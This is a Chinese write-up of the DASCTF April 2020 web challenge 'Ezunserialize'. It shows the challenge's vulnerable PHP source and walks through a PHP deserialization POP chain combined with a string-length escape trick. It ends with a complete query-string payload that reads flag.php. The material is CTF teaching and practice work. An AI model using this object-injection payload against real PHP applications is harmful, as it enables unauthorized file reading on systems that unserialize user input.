【DASCTF】2020年DASCTF4月春季战复现之web------Ezunserialize

Ezunserialize

考点反序列化POP链、字符逃逸

看标题大概就知道关于序列化的题,打开链接给了我们源代码:


show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a)))); 

分析一下 A、B、C三个类和read、write俩个函数。

C类 __toString()方法中的file_get_contents能够读取文件 这个文件就是注释的flag.php。(把包含__toString() 函数的类的对象当做字符串使用的时候就会触发__toString())。
B类中存在字符串的拼接$c = 'a'.$this->b;$b属性实例化为C对象即可触发__toString()方法。
代码中只有对A类的实例化,所以要将A类的属性实例化为B,这样整个POP链便构造完成了:

$a = new A($_GET['a'],$_GET['b']);
$b = new B();
$c = new C();
$c->c = "flag.php";
$b->b = $c;
$a->username = "1";
$a->password = $b;
echo serialize($a);

得到:
O:1:“A”:2:{s:8:“username”;s:1:“1”;s:8:“password”;O:1:“B”:1:{s:1:“b”;O:1:“C”:1:{s:1:“c”;s:8:“flag.php”;}}} (关注这个删除线标记payload中我们会用到 代号为第一)

接下来就是字符逃逸 (以下是我弄懂了字符逃逸后自己总结测试出来的,若有错误 望师傅们批评指正)

先修改代码为:

$a = new A($_GET['a'],$_GET['b']);
echo serialize($a);
echo "
"
; echo write(serialize($a)); echo "
"
; echo read(write(serialize($a)));

传入1 和 1 http://127.0.0.1/flag.php?a=1&b=1
得到如下:

O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";}
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";}
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";}

没有报错 那么我们来试试传入\0\0\0 和 1:

O:1:"A":2:{s:8:"username";s:6:"\0\0\0";s:8:"password";s:1:"1";}
O:1:"A":2:{s:8:"username";s:6:"\0\0\0";s:8:"password";s:1:"1";}
O:1:"A":2:{s:8:"username";s:6:"*";s:8:"password";s:1:"1";}

我们发现read()函数出错了,\0\0\0的长度为6,经过read函数得到的长度为3( * 的左右还有chr(0)为不可见字符!)导致结果不一样。到这我们应该能意识到对代码的控制。
于是我们尝试构造a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=c";s:8:"password";s:4:"1234";}}(关注b=c"代号第三段) 并且修改部分代码为:

$a = new A($_GET['a'],$_GET['b']);
$b=new A($_GET['a'],$_GET['b']);
echo serialize($a);
echo "
"
; echo write(serialize($a)); echo "
"
; echo read(write(serialize($a))); echo "
"
; $H = unserialize(read(write(serialize($a)))); var_dump($H); echo $H->username; echo "
"
; echo $H->password;

得到【DASCTF】2020年DASCTF4月春季战复现之web------Ezunserialize_第1张图片我们观察password的值变成了1234,那么我们构造成功了。关注一下usename的值: ********";s:8:"password";s:31:"c长度为48(代号第二段)

最后我们构造payload:a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=c";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

payload分析:

a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 长度为48,经read()后变为24,还需要24长度的字符,上面代号第二段根据我们的构造发现序列化后username 的值正好为48,所以代号第三段中 我们特意构造了b=c",c是为了增加一个字符凑成24,一个双引号为了闭合username的值,这里name中的值我经过精确的查数 发现代号第二段中的引号和序列化后username中的引号都是4个长度,所以这里不会出错。
因此根据三个代号我们就构造初payload啦。这样一来username&password经过反序列化不会报错,读取源码的也会被执行。
右键查看源码发现flag:在这里插入图片描述

你可能感兴趣的:(ctf)